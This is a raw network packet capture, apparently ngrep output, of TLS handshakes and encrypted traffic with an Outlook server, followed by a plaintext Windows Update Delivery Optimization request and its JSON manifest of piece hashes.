.70503..g.....0)0'..+.........http://www.digicert.com/CPS0...U...........0...U.%..0\n..+.......0....U.....0..0H.F.D.Bhttp://crl3.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crl0H.F.D.Bhttp://crl4.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crl0....+........{0y0$..+.....0...http://ocsp.digicert.com0Q..+.....0..Ehttp://cacerts.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crt0...U.......0.0..}.\n+.....y......m...i.g.v..1~WE..E..8...A...!Z\"\".....v...R......'.......G0E. e....\\Z:..#mc..'.<........K...y..!..a...#\\.:.8...C..o..Z....i.J:.N..u...U;.Oz....o.O.....^.U&....r.EK......'.......F0D. Y.<..L.B..6W...w..a..PV..8....... p.zN.%D..=..{<~..H.....q2$...H33.v..NC........$&..e..._8..?rg}U7........'.......G0E.!.....r....z6....K..vxz....3.M=.... yF)[Ro.D...H.........\n...7*.`...0...*.H..................-.......@M.|8%.s..P.iYl..&......t..I.3._n.$5.ol&Xv..V6t..zT;....r....gS.5..........\\}.....R.R_W........0..F4.8=y.a..u+...,c.........O.J..F.\n.#..8..B>*I....+/B.....x....(....s...%<.....9.B.R.'Km..A..'_...;.\\06..(............{.t.y.p. C+..c..q\n.u..^........0...0..............+V..z.P,#..f0...*.H........0a1.0...U....US1.0...U.\n..DigiCert Inc1.0...U....www.digicert.com1 0...U....DigiCert Global Root G20...210330000000Z..310329235959Z0Y1.0...U....US1.0...U.\n..DigiCert Inc1301..U...*DigiCert Global G2 TLS RSA SHA256 2020 CA10..\"\"0...*.H.............0..\n........bO..co..RV.m'{z.V............`A.p....'\n.W8[}.Q.q..jA.[5..{....$0.V...}.....M.......\"\".1\"\".ai.&.x....}f.uD.s....]\n.YC...:..H..k7.c..F..E.}#...Q..Q._.IFT.,.......<...9.i.2...WL.GB|...}..MT.B.....w..H....*...Cp.?vk.LI.$^....F..l..bRBu....^^..a........=...Gi..........0..~0...U.......0.......0...U......t...f..7...)7.......0...U.#..0...N\"\"T ....n..........90...U...........0...U.%..0...+.........+.......0v..+........j0h0$..+.....0...http://ocsp.digicert.com0@..+.....0..4http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0B..U...;0907.5.3.1http://crl3.digicert.com/DigiCertGlobalRootG2.crl0=..U. .6040...`.H...l..0...g....0...g.....0...g.....0...g.....0...*.H...............p.(.i.|t...&{S...e.......ZC..MLV_..... .Y..J..*......J;...o.).0?$....{..,..kv3..UR.Y..............r..._....2u...X.W1~7...fm)..f.m.n..../...\\Vd..}..8S..]Fm\n##\nT 40.98.16.61:443 -> 10.152.152.11:63993 [AP] #65\n\\.'...~....R....7|*..UZ8r.....Ls..75.).i.v...{.....g...Z!....?......Y.#.$*.%L........t..m.......@...........0...\n......0.....+.....0......0...0......t...f..7...)7.........20260610071844Z0s0q0I0...+.............[.X....:.i.oH....t...f..7...)7.............ef.A...i.[|s....20260610070300Z....20260617060300Z0...*.H.........................?i.......Xn...Ce.2........>.).S.DI.qO^...(+......./h`.p....-O(.M..Y#W.).\na.B.r..=....O...>...o,..mSD.N.....w.1f.......<...oX..#.[j....6'......1...B.C.s...9I-... ...6.....y..2...H..d.....:)..,..Zd#..0.....l.../hU7...\\K...\n.......i.H...0...?A...|...i...a.(......%~.#u\"\"Z...&O..q...J.-7.^ .....$.zW..Hx-V...-.....1....O.,..|...I}.B.....S.KU........_.@......[...ok...}.B.`...z..q.R._`.....-..QH.O..U......1.I.. 9..a.>..zNJ..<.....'..<......6..........!z..g...A.....X..K...6oW.P+g.5K.7s......*......6.JiZ8...*<....0c.^c__1j...q.J.w.A$...`]X..D..o(t+....<U.}r..^=Ls.l...~/..}..1.o.I........y.9.....(..4......DmX..s.t....\n##\nT 10.152.152.11:63993 -> 40.98.16.61:443 [AP] #67\n....f...ba.t.C..T.....)...f......BT......;A.....9.v............B.m?.s).uv.[-...v.J.OGI...jDK..#s...E.b.!..:..........(........)...!.SZ...u=....=l.k..\\.}..>YU.\n##\nT 40.98.16.61:443 -> 10.152.152.11:63993 [AP] #69\n........*.....$.....^.i3..O.......|.#.U4Hz2.&(g.P..b.0..f!`..2.%...........z.J...?..j.1.R.W,.....N..AH[....o .........l..V7....v.....[.V..,....^jY.Yv.-K.m#gf...B...9......g...h.a%..6....k<....|;T5.....1.<j....N-CP8...'....~...V]~C....hwZ..K........m.I.....^*y..........(.cC.7........7C....<....#.n......>.#...........(..........**...=a.;.\"\"]......;.\n....m..:.....@........`/\n.B.G^.\\(&Vs........&.._...O....~E.p{...^.v+...A.:..].\n##\nT 10.152.152.11:63993 -> 40.98.16.61:443 [AP] #71\n....R........JIo[n.).\\....T].sD..?%...$..,Lx.]V...,.W..vQ..F.!..}......>.....*.{.......\n##\nT 10.152.152.11:63993 -> 40.98.16.61:443 [AP] #73\n....o........0.......N'...u9.p.Qn.D...........Q.........p'=/.Ss.....u.eY.....b.1....y...._.8S|.vZ9WQ...u..c?..1.Os..\n##\nT 10.152.152.11:63993 -> 40.98.16.61:443 [AP] #75\n....!...........U.dK..L'a#.. .....J...\n##\nT 40.98.16.61:443 -> 10.152.152.11:63993 [AP] #77\n....!...............Y...3..a...2h...'>...............zI...p.)..`..... Y.M>N....hg.I..|..r.N..n..Iv'P._...]...T1....Z....AZEz...[.Bd.VxA ......Ga.{4.Y..A..s@F..^.A..(.......8x`B\"\"..`..i....N.>....k..e..-.\\........w.;Zs.`Z.I.........W...|.;...k.@q....D.|..R..T..H.5.s...j.e...Z....L....}}..9\n.W..L....Qy.S....*s.....S..../......7X.@..x.!...@...6s.$.\n1X..p.!.Wo.......4..#...U!$..Z^@...|.<Cf.......K,...~g....m..}..-^..+.\n.....5...\\.h.)`.....sfw..W..hI ..N.......z..;Z...9I......2...6_k..u.._.X...M.*~.Nq..G...3....\\.#...C.|E...w\"\"..@L.. .....w{..\\.g.....*..9.>.T....;iA....6rmzN.7..._.bu.*.`;Va.)l...6...........!.\n.j...y.f.&...:.c..`..p_[..]..xT.....t..Ax..w..K.`.[%...{....'.u...z*.....H.$]J.._...........7.`L.}5..._.#...v.....m.`<v.B........qX....L.D......i@.....G...E......................eq.9..o.-G.....B......o<\n/uK.....To...!Za...+M......Z....}..#=..i..P...b...jo...n...A..#.}..e.A.3q{.N.....n-..R%..hq...?.!..{...K...?..*f.XilPO;..F....v;Iv=$n..e....4c'..\n4[1..S*....`S.......E...j.CN.....!........`...D.~....6Zju..3.....%.\n##\nT 10.152.152.11:63993 -> 40.98.16.61:443 [AP] #79\n....;.........5...h...)..; ....3.`&.[.(.6...>]$3..X.N2...n.K?..j\n##\nT 40.98.16.61:443 -> 10.152.152.11:63993 [AP] #81\n.............-.....!..W.{4Z.|...%.B..Ib.D;..Z..s@..0p.r6....'.{].B\"\"q..HD.>7c`P..@.].'p.R/......R.?/..;.H.....J....\"\"..@gA.\n..df......E..;..5..kg$....rs.2..:.~B...[..j9.=..R.N.$..}......&xW(.}F(..y.LT...)....o.../.......5......a......V....b.d45.....5.l...gu......W...[....m.mFVtC0XW........H.......{D.T.j.....G'.C....GO.ls.6.(WT....La...6;2._...Z..|.D.7.^X.=...d.......-..b...9p..3.E..TFT.....+b....Y9.1..9...=.$..W./.......#H...x;..-.E7w.,7.x..!...+Y..kflqXt.g~.F.........d....K..`.s.`b+Tr.,9*....k..18..Er?....E}...u.........$..mC.8..3.....~?.(..M.. g...cwm..\\....@..uZh_..m@....../!.V2E..Z]9.....sv5w.L...I....q5M1....=.......N...gs..CE.9.....)Tu....... ...M\n##\nT 10.152.152.11:63993 -> 40.98.16.61:443 [AP] #83\n....A...........`...h..k.{xe.[..#....x.0.(..%..P....n...Xgb6..f.~.wHu.\n##\nT 40.98.16.61:443 -> 10.152.152.11:63993 [AP] #85\n....o...........s~B.@....>...oM...x`[.?\n.....I...U....o...Q~,s....w.X;.Gui40.?{..VL.e...w.<.. .en_.s...[\\)..d.<g.....<.\ngPG.....U......B...X...z..<.....yB..z..G.....w..a?.D..fZ..-....#k......xb.Dw....u{6\\......k'.,$/vd.(..p\\,.PW..t.f*.i[$w.4P.H..L.f@...#L#......v.L[4.`.\"\"...VV..g..n..QO.$P..%&.{A.p....n.:1......<w.c.7A-...|.r....D...q....jcw...[.vc~;.\nF.......... ...~%?....pEM_./...:.c.#.QM..0.c..<.cg=X!..w.,.x....WJ&.....+.....vWTK.=.........j..'..=.B.6..'G.p!!3?$#...............S.'|.:.b..^2.....}..NMna..'..Fr...N......k..B...F.....o/'.h.h.k..g...`..Y...m'..;.k.\"\".7.CK....$'m......)Y...._......p.;^..,yg/...Nt....49....'.i\n#####\nT 10.152.152.11:64005 -> 40.98.16.61:443 [AP] #90\n...........j/.C|.7.+..|.Ts\nQ7...zZ6......g...&.,.+.0./.$.#.(.'.\n...........=.<.5./.\n...x.........outlook.cloud.microsoft..........\n...............................................#.........h2.http/1.1.........\n##\nT 40.98.16.61:443 -> 10.152.152.11:64005 [AP] #92\n........f..j...7....zb..Q....3)....DOWNGRD. .+...@}<.....H...?.....H.b. .)gO.0........#.........h2......................S0..O0..7.......C.\n..T..........\n..0...*.H........0W1.0...U....US1.0...U.\n..Microsoft Corporation1(0&..U....Microsoft TLS G2 RSA CA OCSP 040...260308001703Z..270303001703Z0n1.0...U....US1.0...U....WA1.0...U....Redmond1.0...U.\n..Microsoft Corporation1 0...U....outlook.cloud.microsoft0..\"\"0...*.H.............0..\n......!.kYa..Ui........2.T..@.........3.9...8...p.r..'.1........?.>......v...8.......1.6..$2..aI..D..X..Ep!_.!)\"\".\nF..c.....M.._.0..5......[4...>...3.?..~.v.[.w...1I4J..y.\"\"..k.c.R60\"\"8>.`/......l1.?5J....a..{..{EoN..xW..k.&...&B..........$..^.#.&..yl.B.....F.P.sY.........0...0..~.\n+.....y......n...j.h.w.......S.jJ..WI.....,....d.............<......H0F.!..]..Z..a.k....P..]Y)>}.3..y?F..k.!..I...R......../.@}..sG.....fRG...u...h,...EiP.......2..L.....RJ..Y.......=b.....F0D. &.c......XlR....7v9HP.1.4r....{.. .............. ....F%..RP.6.r.Nq.v.D......d..J..\nZ..5.......h*.D..f......<......G0E. 2W..5...n...%Q.-y.Ojo...].g=`....!.......p..Y1.]..w.u..V.y....+._..0...+.....7.\n..0.0\n..+.......0<..+.....7.../0-.%+.....7.........F...........]...P...u..d..!0.....+..........0..0a..+.....0..Uhttp://www.microsoft.com/pkiops/certs/Microsoft%20TLS%20G2%20RSA%20CA%20OCSP%2004.crt0g..+.....0..[http://caissuers.microsoft.com/pkiops/certs/Microsoft%20TLS%20G2%20RSA%20CA%20OCSP%2004.crt0-..+.....0..!http://oneocsp.microsoft.com/ocsp0...U......F.V....\"\":D.w.`..6%I.0...U...........0:..U...301..places.cloud.microsoft..outlook.cloud.microsoft0...U.......0.0....U.....0..0.........lhttp://www.microsoft.com/pkiops/crl/partition/Microsoft%20TLS%20G2%20RSA%20CA%20OCSP%2004_Partition00098.crl.mhttp://crl2.microsoft.com/pkiops/crl/partition/Microsoft%20TLS%20G2%20RSA%20CA%20OCSP%2004_Partition00098.crl0f..U. ._0]0Q..+.....7L.}..0A0?..+........3http://www.microsoft.com/pkiops/Docs/Repository.htm0...g.....0...U.#..0...T.....}.....4dDg.u.e0...U.%..0\n..+.......0...*.H...............3....-.f...H.W.[mA\"\"P.V....VD.op....6..tz..-.....mUd../G.;E....S.......=.l..6...WB5\\Q...b.{7}.g.C....7...p.W2...L)..X..w......... ........7j.....-K.....i7..Q..L#._..1.......)..7QXb...[..WT.cz.T..A6WE..M.q@....!..9....=A. X.U|..(..RFi.@48I'..i../.....\"\"Zp...P..]..x.H_...~..V.B...._.l..k........4..Z.3.Q..w{/.E.r..>39,......<2X#~.....J!.*..Cr..5......._DJ..]..!(..8....Y.SV`......'.V..*.....6,.\\.<eh..A.....f9[....mR.Ec...$)|..2.. R#...f.\"\"..]o..K'u..:M..EeTz.#.....VVe..-.Ao3f01.W% ....t..S....V....n...w....*.V.p...0...0..........3......f}J.U.......0...*.H........0Q1.0...U....US1.0...U.\n..Microsoft Corporation1\"\"0 ..U....Microsoft TLS RSA Root G20...250801200259Z..290603200259Z0W1.0...U....US1.0...U.\n..Microsoft Corporation1(0&..U....Microsoft TLS G2 RSA CA OCSP 040..\"\"0...*.H.............0..\n......:$.Z.....`.....G.D.+.m.p!.E)......B...R.O\\9U.6M..Xf4..R........;.....)...I._.....V....._@I...j..No.$...tZY...<..x@.....6J...c....j.....d.Z)g..V.!..F........lGx#.8...Mq..\"\"...~...A*..h..t%8f....Y=*.h..;f.<....,kP....qs..w...M.\nU...r.i..L.#...?.B.......%..h.xV..\\..M3.N.5</.z}.fr`h.........._\\R...x.6..BSn:77..su..]ng..|.J....N....5.F=..rd.C6..W..\"\"..:..epe........h.57.@....f.0..GbWG.{..........D..........550./}.dR.F.4.;WO\n. 1.....'..Y5.\n.D....UM.WHu....`.......~.e.S.\"\"%.0cj.W.....ML.T...=M\nF.b.#\"\"Q..7L...@......S.........0..}0...U...........0...+.....7.......0...U......T.....}.....4dDg.u.e0...U. ..0\n0...g.....0...U.%.\n##\nT 40.98.16.61:443 -> 10.152.152.11:64005 [AP] #94\n.0\n..+.......0...+.....7.....\n.S.u.b.C.A0...U.......0.......0...U.#..0......H..1Y1.K_....y..v0....U.....0..0.........Ihttp://www.microsoft.com/pkiops/crl/Microsoft%20TLS%20RSA%20Root%20G2.crl.Jhttp://crl2.microsoft.com/pkiops/crl/Microsoft%20TLS%20RSA%20Root%20G2.crl0.....+...........0..0c..+.....0..Whttp://www.microsoft.com/pkiops/certs/Microsoft%20TLS%20RSA%20Root%20G2%20-%20xsign.crt0i..+.....0..]http://caissuers.microsoft.com/pkiops/certs/Microsoft%20TLS%20RSA%20Root%20G2%20-%20xsign.crt0-..+.....0..!http://oneocsp.microsoft.com/ocsp0...*.H.............|Hq...E.t..?I....u..P..K....._.]5.l....a`..8...5..!:..X.8|....M......{g.....P..O.........#3....'..[.o..K...P.....O....\"\"*...K.....6...CON..~\\.k..I>....R..?q.$/7..lt....!..Pgp$...\"\"...'..|...f...U....!\nr.e.`.PI..#H :..&.......=.L....<D.......{3=.^d.'=.L.q.f...N.d.T+.....g.7.\nc ......:.B\"\".\"\".&U.0...B...6.6R.sgzsnT........m.'P.....T)M.........d..G1e.y}......v.;(..Do$W....Z..X.V....uq..S.....\"\"L.k.].DY<$k...}._JM..T..v..(MEte.`!..y_..........Y.<'w.V.....=.......Y.XHl}..2...-.......e................(..1w4......6..%....0...0..q.........k,Fi..Gs.G....0...*.H........0a1.0...U....US1.0...U.\n..DigiCert Inc1.0...U....www.digicert.com1 0...U....DigiCert Global Root G20...250521000000Z..290619235959Z0Q1.0...U....US1.0...U.\n..Microsoft Corporation1\"\"0 ..U....Microsoft TLS RSA Root G20..\"\"0...*.H.............0..\n.........G.(.q.A....W.k.....:`.....[.2.{..r'k]@...........t../.....3.W.. |!.....Nd.Z.Ku...dM.R.........?..NE9^.)...g........J..9....3A.....u.S.!.\\DL.`W.........2J..Q.....?6./oL9..i\"\".;u...>....A8.~FH....p.....r.~}.lN.p......b..k..........1K..k3........J._..1v8?.Gl........_.l.....*.{..(.1..SLuf.}...`.e.1.r...-.D..W.n....e.r-....~I.Yg.....m..Ex..`j....$;sJZ..>.a.x....0.J8-.X.. .6*..2..8.....E.|...b...q.....\n.......8B4.i....s..C.C.X.O....=.:@8.....d..c...U.Z....>...d......M.E..e.%.......[.P....] .g.y.....o. r0...u'5........K0..G0...U.......0....0...U.........H..1Y1.K_....y..v0...U.#..0...N\"\"T ....n..........90...U...........0...U.%..0\n..+.......0v..+........j0h0$..+.....0...http://ocsp.digicert.com0@..+.....0..4http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0B..U...;0907.5.3.1http://crl3.digicert.com/DigiCertGlobalRootG2.crl0...U. ..0\n0...g.....0...*.H................+7t.K.6.6...........D..T...A.F..v4..Ub5.....Zb.C...J..k....%f..yn[%.$...y-5_B.x...e.. P...j:...H.........u.'%Z..:pl.G.c.S...5 ..=.....$.EVw.g.1B.W..&..C.W.c...:..{K.....f.gg...L...+.\"\"=}....c8,.V...R....o.mk..A/.>.1..|J..a.FF(.W..o...w%.{.).;ry....Tm5+.z...C...?0..;\n.....40..0..+.....0.....!0...0.......E.]...t..x.!.eH...Z..20260613144753Z0..0..0L0...+...........j....m.H..x.K.g.W..T.....}.....4dDg.u.e..C.\n..T..........\n......20260613141309Z....20260621143309Z. 0.0...+.....7......260617142309Z0...*.H.............|$.]kI.W..e.........`...8.lQ.....#...:...D...L.`..._i..M.q.;..g*.f....(.a...U.$..|P.o.....4trGg..a..0..f...2.....cg/S_......(<.q...O.z.6%....Q.ar...X$.O.......6.N...y.......?Mw...bT.Zi....2..3.g..Z:.b..F...Ye$1.........Y.g`3tO>.KRf..TO...5.Z...-d...*...\\.\"\"...=0..90..50..........C.YIK..kw(.]....YIK0...*.H........0W1.0...U....US1.0...U.\n..Microsoft Corporation1(0&..U....Microsoft TLS G2 RSA CA OCSP 040...260612155022Z..260712155022Z0n1.0...U....US1.0...U....WA1.0...U....Redmond1.0...U.\n..Microsoft Corporation1 0...U....TLS-G2-RSA-04 OCSP Cert0..\"\"0...*.H.............0..\n......~k..O..].uR.p..6..*9V.+e.L......Qf%{\\...^..s...u|z..f:..J.......?...Uu...s].....i..E.#...V..g.......h...f..Q..)..yZ..;.......,.Y...[.<..5Q....L.d......;,i..P...P...5...w..G%..t.B.....;.e........a..yZf.Q..+lV,.N...,.D;-..x...C.;...AP......I...k.....bvX.wv.........0..0...U.......0.0...U.%..0\n..+.......0...U.......E.]...t..x.!.eH...Z0...U.#..0...T.....}.....4dDg.u.e0...U...........0<..+.....7.../0-.%+.....7.........F...........]...\"\"......d...0...+.....7.\n..0.0\n..+.......0...+.....0......0...*.H.............O..qRq..D.U..e..l...X...Ch.6...\"\"....xM&.p.|.M.....6qu.\n##\nT 40.98.16.61:443 -> 10.152.152.11:64005 [AP] #96\n....#..].P..Emz......`...|.p.F}..m_..u....kx.[.t.......*..........a.'r.....?...9..CFK..{...E....<v\\...2p.N...)@.X7.D(E..6^....G.F.......m.....tUY...,..b.k]..89..W..,.\\\\.._!m...\"\"..@#...Q8...I&.U...~/.R..w8....v.....W....R.\n.73............ru.\"\"..pmX'..b...#k.....Dk....%PO.........C....7.q...0.9E.+@.2.....\\..g..X....jD.z...'.E.r.t.6.R.Z`m./...c...i.<..G@......F=...q.....-.Zm.....|...Z.ba'....@...u....a..&.}....u.C.0]... ..K..<._a..R.|..9@..W..2e}...fc.Xs.0.X...i...a..Z.K7.._y...y~,..[..MN..~..t#..5.x.A.>C..B.aW)./..?..5.....P...yur..j.K..S..S.`......\\.fd.`..=w.....n.k.....f.*.L.gq..bJ......_\"\"........o./.........y.T..+....\\...Y...m.92k.....x....c..wb21.....7l9.].h^.:.....5..d.....].7w<.!.K.....z).].....c....B.-....G..v..B...M.....p..3..].WWT.:.\n..Y....1=..Wbq....-.l..0........AgS..\\..6\"\"4He..a.....^w..V.......n5../f5.....\n##\nT 10.152.152.11:64005 -> 40.98.16.61:443 [AP] #98\n....f...ba..W..4..K......k....Z.y%.,.O..~.2W.........t2&.U7_.1..;Q.A.......(\"\"..=...=m}'k...cC.!.K....*L..............(...........%D4a<.Q...g.3..9?........E...\n##\nT 40.98.16.61:443 -> 10.152.152.11:64005 [AP] #100\n........*.....$.....^.i3..O.......|...#.+&.F-.R.3......v+...p.q.......g..;.Z.....mjES'..U0..q...d.......N....p.....j..z[.w.B.@.an8....:.fpZ^.....l..1x8....!\nL....z.t...;..X#B....-.....Q}.E./...3.....>.l......1/..6.H...+|r.R.2..........~.......4....j.KL...I..>..#....Z...xe...q#..u./.k..>A.:h'....JI, zX...............(........;]?..q.(....6\n:f\\.N...%./......,....@........Ip.:....F.|a,.3K(Q.=Y.;.`..f4./...`Fo..K..[!...Y4.>..6..\n##\nT 10.152.152.11:64005 -> 40.98.16.61:443 [AP] #102\n....R..........q.\n.s.&.A/..>m.....j..\"\"...L=..T.A..{...c1...j..8....l\n..K...!#.C)...Yl'.\n##\nT 10.152.152.11:64005 -> 40.98.16.61:443 [AP] #104\n....!..........w(.....v.bl.....qg$..w|\n##\nT 10.152.152.11:64005 -> 40.98.16.61:443 [AP] #106\n....o..........\\.....Z[.yuSR...=..2.....tG..>k....o..........N.......{.$4..$..=.$....i.[......ZC.._8R._)...GA..=o...\n##\nT 40.98.16.61:443 -> 10.152.152.11:64005 [AP] #108\n....!..........+*qPOwF....\\.@..]b...~4\n##\nT 40.98.16.61:443 -> 10.152.152.11:64005 [AP] #110\n....G.........i....l.Y.2........]tt~.!....m.......SZ....c....6v.&..A.lVb3.....1$.........a...]..2.c3...Z....(\n.m..f~..!3...$.........1ov........m.L.W.....[L.B.J\"\"{./.(......%y..N.MR.Y.A..I....\\/GM./y....[v.mk...J..a.QZ..2p.8..h.r.E..0I0K.>T?p.._.O...$..-.NS\n..[9..P..v........F...|%....GGK.Z.?...........1..H..f...\"\".y...n.n\\..j.....-S..5.........f./..._........?..4.lA=.V.`4....../k&.A..Z.U...R...}...#.0.W_sL.W....b?.].B...C.F[n.S.z......S.....O.....lj$.e.......0~..3.H..=6E........l.r*...Q.l...Cn...?..G?.:.....r....>.......1....L.\n.P.400.kv0.....Z.....2....\"\"Y.+..aon.;.G...dz.S..f.....p..J.....8.h.......3F......S...i.u{sw.UN.7..M?..,R..R...W/Q...$...Z...V.kO5E.l:...q...,.....L...O....,n....8...%......z..Q.`..C'.......j\\..C.W_..6~q...7..[..........X../-.....gIGz.w...~.8N!.t.&Xa....0..3.JJ..L..y...x.5m....s. .L....e:......m.Q..>.n....I./6h.............G.}DW..M.d...m8d...8..HF.:C .m}..*..H.v.&%...8.#y..H..@HQ..x..t....`L.....FO.....I.....@..V......6C...\"\"2.QY3 ....<;...........H..O......WB;%............=I....@....c..#..S!.]....mx}3.y..v~...w.1:.&M...z.D.....!.........Z..?R.c{..M.D..... ..K.b\n##\nT 10.152.152.11:64005 -> 40.98.16.61:443 [AP] #112\n....;.............X.3O\nG.{\noD.v.:......L......%:...B`.Y@G.t...p.\n##\nT 40.98.16.61:443 -> 10.152.152.11:64005 [AP] #114\n...............B.*+1.lL...HJ..6 ......1.{U.\nO....3.....BK.....f)Y.0..YtL.v...f_.7.U...+.3.*..#wm.._. 5...Q.':<a!!O.R..R...d{b.:.j...){..C...|6.9.}.......I..w.~Nw.A.i......C....~.<..1Q.a.{....l.2...w.l.Y.(VA...T.....V.......*.@.h-(.....s.)o..........:i5&..vS.....7K.6.w.....).Pso..JC.R.qz.36.v.....q...0%.......\\.N....d.Y/R..m.......F.&...n.X...K...%..,..)_...)..............4.....y.?..LO.65.a.....:.G..'._..8..Y..@.<..'x.8.K.&.D...Hni.-...iD.....k:.<...5T.......AZ...........K....m.Wj..?2..$ .g.....k.M\"\"F.S*....tn>.a....\n....d....|....D....f...x.......$..0>.A?>..@:.u..NY.(..n.e.+..S...j.#x8.=m..LSr....J.....e..1..8.D\\..&....urf.......{.......<B\\y.5...m<..=..E...\n##\nT 10.152.152.11:64005 -> 40.98.16.61:443 [AP] #116\n....A........R.....Q9...R...>V.A.c...q..q.l...OHz.T>X3Cz......t......q\n##\nT 40.98.16.61:443 -> 10.152.152.11:64005 [AP] #118\n....p........Nk.E....T...O.....Z.......b..dD-\"\"....u...{.`.#.&...q.....3...jzz6Z.........I..G!.;.[...\\.]......g>.j.N...G....i]d.ko.....j....:.lT..Rg...s.m..%e.i... WT&........^b.M.1F.P.J....]!|...+.X.\\0.]p..l.^1..>@J~Kt.I...x..xi.O4.........Z...{...K....Y..d..f.:..~..&..[|\"\"..._u[RT.-n....Y.Y.....gzt'^\\$..|....`......^...0%z.[.).....\\......2..;5./.....2...J....... .A....&......$p... G.v.r..n.....(Wa..#.?..V....x~..........>..i`L..n.r.9.A.....v.q....E.....\\\"\".E..2.[.E/sX..(t.......B...\n..zxK4..%A..U...z.yvs]..^P.....Q.|'..{.`.8.1E..........QK]I.......3....;F(.$y7.5..N0..f.^........v...(..z..J...-....A.9b. .%v....\\...<Mk......\n########\nT 10.152.152.11:64008 -> 194.36.32.209:80 [AP] #126\nGET /phf/c/doc/ph/prod5/msdownload/update/software/secu/2025/09/1024/windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json?cacheHostOrigin=download.windowsupdate.com HTTP/1.1.\nConnection: Keep-Alive.\nAccept: */*.\nAccept-Encoding: gzip, deflate.\nUser-Agent: Microsoft-Delivery-Optimization/10.0.\nMS-CV: U8LcJprCPE+qu3Wn.1.1.7.2.4.1.1.\nContent-Length: 0.\nHost: 194.36.32.209.\n.\"\n0.0,NGrep,##,\"Payload: T 194.36.32.209:80 -> 10.152.152.11:64008 [AP] #128\nHTTP/1.1 200 OK.\nServer: nginx.\nDate: Sun, 14 Jun 2026 14:21:33 GMT.\nContent-Type: application/json.\nContent-Length: 3793.\nConnection: keep-alive.\nCache-Control: public,max-age=172800.\nLast-Modified: Mon, 13 Oct 2025 22:35:46 GMT.\nVia: 1.1 varnish.\nAge: 141650.\nX-Served-By: cache-fra-eddf8230081-FRA.\nX-Cache: HIT.\nX-Cache-Hits: 2.\nX-Timer: S1771893804.165646,VS0,VE0.\nX-CID: 10006.\nX-CCC: 849ec117-7ac8-4c1d-83b1-0fd3ba7fa741.\nContent-Security-Policy: default-src 'self' http: https: data: blob: 'unsafe-inline'.\nX-XSS-Protection: 1; mode=block.\nX-Frame-Options: SAMEORIGIN.\nX-Cache-Status: STALE.\nAccept-Ranges: bytes.\n.\n{\"\"MajorVersion\"\":1,\"\"MinorVersion\"\":0,\"\"HashOfHashes\"\":\"\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\"\",\"\"HashOfHashesString\"\":\"\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\"\",\"\"ContentLength\"\":79240605,\"\"PieceSize\"\":1048576,\"\"Pieces\"\":[\"\"63e2fn9p5M1Jgrot42IpGMa5bewQbBKL+em50oFb+i4=\"\",\"\"YuXbLgas4Lh7wPc++eVa37E6IVde7rPFnX4nDgoPk0c=\"\",\"\"K6io8w5q8r4jvcB0bXbnkcR2bgFBdwCnjuXGizcMmQU=\"\",\"\"0X3+x3V1+JPAjCE5Ng20ger5fDe1GgAYol5SwJoEB+0=\"\",\"\"mjtVq2sEmx6kb8biCkiRwkgr+cx1ns6tHXlvwKuxa0I=\"\",\"\"6v+JmnAxcD8Eh1aEp+a1UduJOkkZwYVmnqssAgVeAjE=\"\",\"\"5JGehCOWEkusqUmL8cBnNMvv5YQH5+QDlmwjwAPLmPs=\"\",\"\"RgoD0TGJIY1zJ091MqikfS0sV0VhU3X5fUtOlnnSENw=\"\",\"\"6IS3v2w9sPuUW/AkUjf93UreEjJ5x7vDbeCSopfAayY=\"\",\"\"LPHpcu21PoAWmfa1Labh5mKn1na7oG35hQcy/Q98It0=\"\",\"\"EwErRieJ2XqZXvdC5m7fGgWpg2qHHBh3C7r2gHXxEK0=\"\",\"\"8iefG+Sz6iqHEhIVeQwGtfUQveH/RgpQ6Cf9TSP8ZLQ=\"\",\"\"6eJIZGiygGwG2avHiKJ3GcQwp79CgHsqFkxUotsCjos=\"\",\"\"ofAo/IflBJGfABKr1Vrzimvb4uM3M8lgmxIU6lWtJPQ=\"\",\"\"XSe/pgH3Lycvx7qMI0uh7peTu9vWl8s91kUKpbf3UOA=\"\",\"\"8ptbeA16DYOuts/x2n7zrbd4oRdPCy3QW1nsHsHeEk4=\"\",\"\"MVtfKcMn6m3ujQYZEZFr4E9+m+RFMje4O9E8l+c/bfU=\"\",\"\"yYv0uCFXJcMYFvFMj/1XIlNFyszprVcDTFLniT4on8o=\"\",\"\"TAYTgbxvVIz0LZaFQgYy7S26LE8bdx9n13qyKPI6HqY=\"\",\"\"rV7AADaB6O5uWzeYfzUGf4MCPMLhpfKDvd+2x5iFBV8=\"\",\"\"T2K/1UEU9VGnB+gnIgZn/+MFs4aiCbRAmfSlPaEjh/I=\"\",\"\"Yx8PgaO9bdMgINkxN4IgwvC2jUT8LPZ8XPpA3vVinyQ=\"\",\"\"Hn30j5DwTXbD4pQaWYAJGZLfhcmCf+L6oKgvRzjJLfk=\"\",\"\"5YD/xAFgZ6j1UroWJ6rPRg/Gy+kEsvEgc/+8dnlWnW0=\"\",\"\"91mOrDSDZjZxZImPub7TEX7EDVtcuovbjdsQBw5aRJI=\"\",\"\"fear5JfHtYZEFgHOOoC6tKNaGz+XXFqs5m2sIGoz8sw=\"\",\"\"duDCDm8Yndiw3bFtGcypDqe+wnQPB1CZACL8iZwUOKk=\"\",\"\"h/DgbNswkDCKLeT3ZFdwZVn7t1O4eI+6LvIPkr9RS+o=\"\",\"\"yPWAbkviCF20ok0O64buRa0TXt/DEV4CUoJyjkSqg28=\"\",\"\"YLOlYrOZcK7BmKbIz1tZS9L+bISeugKysXKto4RLQl0=\"\",\"\"wRm4L9NXLbrHhOMrwYT9k45DcDLxKbFSU4+DNIJOWpo=\"\",\"\"vw7TJ2ygJmVIm0L9639YAvkqSxEwoJ6pYVJUDLGL/K4=\"\",\"\"wgvzre5JVOuSujl9Hnv1U+5wUozO2zEnbni0i+uZj2I=\"\",\"\"vD3Hvz4xSWXUxDGcCxajTSvQW2g5KLWdI6OvxyT6LHU=\"\",\"\"OzYc2Mq5bYAdv52qYKb2oGp5DSyeaSYejJgC0kD04MA=\"\",\"\"UQV6otpISNFpC5WkHhK/eVkiK1FilyfcyNs3yMyCCKQ=\"\",\"\"9VvYCLCSE8oOe1owOnPSGWqgHsfU3ybYikcEWF